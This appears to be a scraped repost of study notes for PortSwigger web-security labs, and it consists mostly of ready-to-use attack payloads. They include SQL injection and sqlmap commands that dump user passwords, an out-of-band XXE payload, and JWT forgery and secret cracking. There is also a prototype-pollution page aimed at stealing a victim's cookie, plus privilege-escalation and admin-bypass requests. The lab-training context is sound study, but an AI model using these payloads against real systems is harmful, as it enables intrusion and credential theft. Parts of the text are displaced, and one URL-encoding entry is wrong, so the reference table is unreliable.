'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % fuzz SYSTEM "http://OASTI'||'FY.COM/">%fuzz;]>'),'/l') from dual)||'

OAST - Out-of-band Application Security Testing

PortSwigger Lab: Blind SQL injection with out-of-band interaction

Blind SQLi Conditional Response

This blind SQL injection is identified by a small message difference in the responses. When sending a valid true SQL query the response contain Welcome back string in response. Invalid false SQL query statement do not contain the response conditional message.

root@kitploit:~
' AND '1'='1

False SQL statement to identify conditional message not in response.

root@kitploit:~
' AND '1'='2

Determine how many characters are in the password of the administrator user. To do this, change the SQL statement value to and in intruder Settings tab, at the "Grep - Match" section. Clear any existing entries in the list, and then add the value Welcome back to identify true condition.

root@kitploit:~
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a

Next step is to test the character at each position to determine its value. This involves a much larger number of requests.

root@kitploit:~
' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a

sqli conditional response

Alternative use a CLUSTER Bomb attack and setting two payload positions, first one for the character position with a payload of numbers 1..20 and the second position, using alpha and number characters, this will iterate through each permutation of payload combinations.

CLUSTER bomb

PortSwigger Lab: Blind SQL injection with conditional responses

Oracle

Identified SQL injection by adding a single quote to the end of the category parameter value and observing response of 500 Internal Server Error.

Retrieve the list of tables in the Oracle database:

root@kitploit:~
'+UNION+SELECT+table_name,NULL+FROM+all_tables--

Oracle payload to retrieve the details of the columns in the table.

root@kitploit:~
'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_XXX'--

Oracle payload to retrieve the usernames and passwords from Users_XXX table.

root@kitploit:~
'+UNION+SELECT+USERNAME_XXX,+PASSWORD_XXX+FROM+USERS_XXX--

PortSwigger Lab: SQL injection attack, listing the database contents on Oracle

SQLMAP

In the PortSwigger Practice Exam APP we identify SQLi on the advance search function by adding a single quote and the response result in HTTP/2 500 Internal Server Error.

Here is my HackTheBox CPTS study notes on SQLMAP examples to bypass primitive protection WAF mechanisms. SQLMAP Essentials - Cases

After doing some testing with SQLMAP versions 1.7.2#stable and 1.6, I found that both are able to exploit the PortSwigger Practice exam. Walkthrough from bmdyy doing the Practice Exam using SQLMAP for reference of the parameters used.

PortSwigger Forum thread - SQLMAP

I took the practice exam and was able to exploit SQLi using below payload.

root@kitploit:~
sqlmap -u 'https://TARGET.net/filtered_search?SearchTerm=x&sort-by=DATE&writer=' \ 
  -H 'authority: 0afd007004402dacc1e7220100750051.web-security-academy.net' \
  -H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
  -H 'accept-language: en-US,en;q=0.9' \
  -H 'cookie: _lab=YesYesYesYes; session=YesYesYesYes' \
  -H 'referer: https://TARGET.net/filtered_search?SearchTerm=x&sort-by=DATE&writer=' \
  -H 'sec-fetch-dest: document' \
  -H 'sec-fetch-mode: navigate' \
  -H 'sec-fetch-site: same-origin' \
  -H 'sec-fetch-user: ?1' \
  -H 'upgrade-insecure-requests: 1' \
  -H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36' \
  -p 'sort-by' -batch --flush-session --dbms postgresql --technique E --level 5

SQLMAP used to dump data from tables

This is also a good start with SQLMAP to identify and extract data from a sensitive error based time delay SQL injection in advance search filters on the exam.

root@kitploit:~
sqlmap -v -u 'https://TARGET.NET/search?term=x&organizeby=DATE&journalist=&cachebust=1656138093.57' -p "term" --batch --cookie="_lab=YESYESYESYES; session=YESYESYESYES" --random-agent --level=2 --risk=2

sqlmap 1.7.2 stable

SQLMAP Help usage

SQLMAP DBS to get databases.

root@kitploit:~
-p 'sort-by' -batch --dbms postgresql --technique E --level 5 --dbs

Use SQLMAP dump tables identified from public database.

root@kitploit:~
-p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public --tables

ContinueUse SQLMAP E Technique to get the users content.

root@kitploit:~
-p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public -T users --dump

Non-Oracle Manual SQLi

SQL injection UNION attack, determining the number of columns returned by the query.

root@kitploit:~
'+UNION+SELECT+NULL,NULL--

Determined there is two columns returned. Finding a column containing text, to be used for reflecting information extracted.

root@kitploit:~
'+UNION+SELECT+'fuzzer',NULL--

Next identifying a list of tables in the database.

root@kitploit:~
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--

OPTIONAL: Retrieve data from other tables, use code below payload to retrieve the contents of the users table.

root@kitploit:~
'+UNION+SELECT+username,+password+FROM+users--

Retrieve the names of the columns in the users table.

root@kitploit:~
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_XXXX'--

Final step is to the dump data from the username and passwords columns.

root@kitploit:~
'+UNION+SELECT+username_XXXX,+password_XXXX+FROM+users_XXXX--

EXTRA: If you only have one column to extract text data, then concatenate multiple values in a single reflected output field using SQL syntax || characters from the database.

root@kitploit:~
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

manual-sqli.png

PortSwigger Lab: SQL injection attack, listing the database contents on non-Oracle databases

Visual error-based SQLi

Adding a single quote to the end of the TrackingId cookie value, we can identify and confirm the SQL Injection based on the message in the response.

identify-visual-error-based-sqli.png

The two payloads validate administrator record is the first record, and then to retrieve the password for the Administrator account from the user table in the database, from the columns username and password.

root@kitploit:~
TrackingId=x'||CAST((SELECT username FROM users LIMIT 1) AS int)--;
  
TrackingId=x'||CAST((SELECT password FROM users LIMIT 1) AS int)--;

Due to the cookie value length limit the payload is shortened by using limit 1, and the actual cookie value replace with just a letter x. SQL Injection used the CAST function.

SQL Injection CAST function

PortSwigger Lab: Visible error-based SQL injection


JWT

JWT bypass via JWK
JWT Weak secret
JWT kid header
JWT arbitrary jku header

JSON web tokens (JWTs) use to send cryptographically signed JSON data, and most commonly used to send information ("claims") about users as part of authentication, session handling, and access control.

JWT bypass via JWK

The burp scanner identify vulnerability in server as, JWT self-signed JWK header supported. Possible to exploit it through failed check of the provided key source.
jwk (JSON Web Key) - Provides an embedded JSON object representing the key.

Authentication bypass Exploit steps via jwk header injection:

  1. New RSA Key
  2. In request JWT payload, change the value of the sub claim to administrator
  3. Select Attack, then select Embedded JWK with newly generated RSA key
  4. Observe a jwk parameter now contain our public key, sending request result in access to admin portal

jwk header

PortSwigger Lab: JWT authentication bypass via jwk header injection

JWT Weak secret

Brute force weak JWT signing key using hashcat.

root@kitploit:~
hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list 

Hashcat result provide the secret, to be used to generate a forged signing key.

PortSwigger JWT authentication bypass via weak signing key

JWT kid header

JWT-based mechanism for handling sessions. In order to verify the signature, the server uses the kid parameter in JWT header to fetch the relevant key from its file system.
Generate a new Symmetric Key and replace k property with the base64 null byte AA==, to be used when signing the JWT.
kid (Key ID) - Provides an ID that servers can use to identify the correct key in cases where there are multiple keys to choose from.

JWS

root@kitploit:~
{
    "kid": "../../../../../../../dev/null",
    "alg": "HS256"
}

Payload

root@kitploit:~
{
    "iss": "portswigger",
    "sub": "administrator",
    "exp": 1673523674
}

jwt

PortSwigger Lab: JWT authentication bypass via kid header path traversal

JWT arbitrary jku header

Burp scanner identified vulnerability stating the application appears to trust the jku header of the JWT found in the manual insertion point. It fetched a public key from an arbitrary URL provided in this header and attempted to use it to verify the signature.
jku (JSON Web Key Set URL) - Provides a URL from which servers can fetch keys containing the correct key.

Exploit steps to Upload a malicious JWK Set, then Modify and sign the JWT:

  1. Generate New RSA Key pair automatically, and ignore the size.
  2. On the exploit server body create empty JWK { "keys": [ ] }.
  3. Copy Public Key as JWK from the new RSA key pair generate in previous step, in between the exploit body square brackets [ paste ].
  4. Copy kid value of generate RSA key into the /admin request JWT header kid value.
  5. Set new jku parameter to the value of the exploit server URL https://exploit-server.net/exploit.
  6. Change JWT payload value of the sub claim to administrator.
  7. On the /admin request in repeat, at bottom of the JSON Web Token tab, click Sign.
  8. On Sign option, then select the RSA signing key that was generated in the previous steps.
  9. Send request, and gain access to admin portal.

jwt-jku-header-setup.png

The exploit server hosting the JWK public key content.

root@kitploit:~
{ "keys": [
{
    "kty": "RSA",
    "e": "AQAB",
    "kid": "3c0171bd-a8cf-45b5-839f-645fa2a57009",
    "n": "749eJdyiwAYYVV    <snip>   F8tsQ_zu23DhdoePay3JlYXmza9DWDw"
}
]}

jwt-jku-header-exploit-server.png

PortSwigger Lab: JWT authentication bypass via jku header injection


ProtoType Pollution

Attacker add arbitrary properties to global JavaScript object prototypes, which is inherited by user-defined objects that lead to client-side DOM XSS or server-side code execution.

Client-Side Proto
Server-Side Proto
Dom Invader Enable Prototype Pollution

Client-Side Proto

A target is vulnerable to DOM XSS via client side prototype pollution. DOM Invader will identify the gadget and using a hosted payload to performing phishing directed at the victim and steal their cookie.

Exploit server Body section, host an exploit that will navigate the victim to a malicious URL.

root@kitploit:~
<script>
    location="https://TARGET.NET/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>  

Proto pollution

Above image show the Deliver to Victim phishing request being send.

PortSwigger Lab: Client-side prototype pollution in third-party libraries

Proto pollution

Server-Side Proto

To identify Proto pollution, insert the follow into a JSON post request when updating a user profile information authenticated as low privileged role.
See instruction video by Trevor TJCHacking about PrivEsc via server-side prototype pollution.

root@kitploit:~
"__proto__": {
    "foo":"bar"
}

identify proto

Observe the isAdmin property and resend the POST update account with the __proto__ payload below to elevate our access role to Administrator.

root@kitploit:~
"__proto__": {
    "isAdmin":true
}

PortSwigger Lab: Privilege escalation via server-side prototype pollution


API Testing

Exploiting a mass assignment
API Reset Password Parameter Pollution

Exploiting a mass assignment

API performing GET request and directly after a POST request and in the POST request notice additional JSON parameters in the body of response, indicate hidden parameter fields. Add hidden fields such as {"admin":true} can elevate access to higher privileged users or gain sensitive information about user.

In below lab exercise the ecommerce site have a discount parameter and adding it with value of 100 allow for the product to be free on checkout.

Mass assignment hidden parameter

Privilege escalation using API endpoints hidden parameters in POST or PATCH HTTP verb request.

root@kitploit:~
{
    "username": "carlos",
    "email": "[email protected]",
    "isAdminLevel": true
}

PortSwigger Lab: Exploiting a mass assignment vulnerability

API Reset Password Parameter Pollution

Notice the reset password API function uses parameter in POST body for username. To identify aditional hidden parameters for the API function insert random parameter &x=y to observe error message leaking information of positive result. URL encode the random parameter and add it to current POST body parameters:

root@kitploit:~
username=administrator%26x=y

URL Encode Character Table

  • %3F - ?
  • %3E - >
  • %3D - =
  • %3C - <
  • %3B - ;
  • %2C - ','
  • %28 - (
  • %29 - )
  • %27 -

Based on the response there is possible second parameter named field and reviewing the JavaScript source code there is reset_token parameter.

api-code-review-forgetpassword

Adding the additional parameter field with variable reset_token in the POST request, leak the senitive information to reset password token.

api-resetpassword-leak-token

Browsing to the target URL and adding the stolen reset token, and change the administrator or carlos user password to gain access.

PortSwigger Lab: Exploiting server-side parameter pollution in a query string


Access Control

JSON roleid PrivEsc
Original URL
Drop Select a role
Trace to Admin
HTB requested I remove my write-up for CPTS Skills assessments - IDOR

PrivEsc JSON RoleId

Access control to the admin interface is based on user roles, and this can lead to privilege escalation or access control (IDOR) security vulnerability.

Capture current logged in user email change email submission request and send to Intruder, then add "roleid":§32§ into the JSON body of the request, and fuzz the possible roleid value for administrator access role.

root@kitploit:~
POST /my-account/change-email HTTP/1.1
Host: TARGET.net
Cookie: session=vXAA9EM1hzQuJwHftcLHKxyZKtSf2xCW
Content-Length: 48
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Connection: close

{
 "csrf":"u4e8f4kc84md743ka04lfos84",
 "email":"[email protected]",
 "roleid": 42
}

The Hitchhiker's Guide to the Galaxy answer was 42

Intruder Payload set to identify Admin role ID

Attacker identify the possible role ID of administrator role and then send this request with updated roleId to privilege escalate the current logged in user to the access role of administrator.

Attack identify Admin role ID

PortSwigger Lab: User role can be modified in user profile

See API Mass assignment lab exercises to alter JSON values by inserting additional fields in JSON POST data.

Drop Select a role

Escalation to administrator is sometimes controlled by a role selector GET request, by dropping the Please select a role GET request before it is presented to the user, the default role of admin is selected by back-end and access is granted to the admin portal.

Select a role

PortSwigger Lab: Authentication bypass via flawed state machine

Original URL

Admin portal only accessible from internal. Identify if access control can be bypassed using header X-Original-URL, observe different response to /admin endpoint requests depending on header value.

root@kitploit:~
X-Original-URL: /admin

x-original-url

PortSwigger Lab: URL-based access control can be circumvented

Trace to Admin

Unable to reach /admin portal, but when changing the GET request to TRACE /admin this response contain an X-Custom-IP-Authorization: header.
Use the identified header to by access control to the admin authentication.

trace info

root@kitploit:~
GET /admin HTTP/2
Host: TARGET.net
X-Custom-Ip-Authorization: 127.0.0.1
Cookie: session=2ybmTxFLPlisA6GZvcw22Mvc29jYVuJm

PortSwigger Lab: Authentication bypass via information disclosure


GraphQL API

Identify GraphQL API
GraphQL Reveal Credentials
GraphQL Brute Force
GraphQL Voyager Visualize attack paths

Identify GraphQL API

To identify if there is hidden GraphQL API endpoint send an invalid GET request endpoint and observe message Not Found, but when sending /api the response is Query not present.

graphql API identify

Enumeration of the GraphQL API endpoint require testing with a universal query.
Modify GET request with query as a URL parameter /api?query=query{__typename}.

The below response validate the identity of GraphQL endpoint:

root@kitploit:~
{
  "data": {
	"__typename": "query"
  }
}

Check introspection, with new request URL-encoded introspection query as a query parameter.

root@kitploit:~
/api?query=query+IntrospectionQuery+%7B%0D%0A++__schema+%7B%0D%0A++++queryType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++mutationType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++subscriptionType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++types+%7B%0D%0A++++++...FullType%0D%0A++++%7D%0D%0A++++directives+%7B%0D%0A++++++name%0D%0A++++++description%0D%0A++++++args+%7B%0D%0A++++++++...InputValue%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+FullType+on+__Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++description%0D%0A++fields%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++args+%7B%0D%0A++++++...InputValue%0D%0A++++%7D%0D%0A++++type+%7B%0D%0A++++++...TypeRef%0D%0A++++%7D%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++inputFields+%7B%0D%0A++++...InputValue%0D%0A++%7D%0D%0A++interfaces+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++enumValues%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++possibleTypes+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+InputValue+on+__InputValue+%7B%0D%0A++name%0D%0A++description%0D%0A++type+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++defaultValue%0D%0A%7D%0D%0A%0D%0Afragment+TypeRef+on+__Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++ofType+%7B%0D%0A++++kind%0D%0A++++name%0D%0A++++ofType+%7B%0D%0A++++++kind%0D%0A++++++name%0D%0A++++++ofType+%7B%0D%0A++++++++kind%0D%0A++++++++name%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A

graphql-api-introspection-query.png

Bypass introspection protection matching the regex filters, and modify the query to include a %0a newline character after __schema and resend.

Save the introspection response to file as graphql.json, and remove HTTP headers from the saved response file leaving only body.

On the InQL Scanner tab, load the file graphql.json and enter to scan API endpoint.
Expand scan results for the schema and find the getUser query.
In Repeater, copy and paste the getUser query as parameter and send it to the API endpoint discovered but first URL encode all characters.

Test alternative user IDs until the API confirms carlos user ID as 3.

graphql-api-getuser-sensitivedata.png

This give you sensitive information for a user on the system such as login token, login password information, etc.

PortSwigger Lab: Finding a hidden GraphQL endpoint

GraphQL Reveal Creds

Intercept the login POST request to the target. Identify the GraphQL mutation contain the username and password.

graphql-identify

Copy the URL of the /graphql/v1 POST request and past into the InQL Scanner tab to scan API.

graphql-scanner.png

There is a getUser query that returns a user's username and password. This query fetches the relevant user information via a direct reference to an id number.

Modify a request by replacing the inQL tab query value to the below discovered getuser query from scanner.
In the POST JSON body remove the operationName property and value.

graphql-modify-request.png

Log in to the site as the administrator, and gain access to the Admin panel.


Read more

Download Tool
'
  • %26 - & delimiter between different parameters
  • %25 - %
  • %24 - $
  • %23 - # fragment identifier
  • %22 - "
  • %2F - /
  • %27 - back tick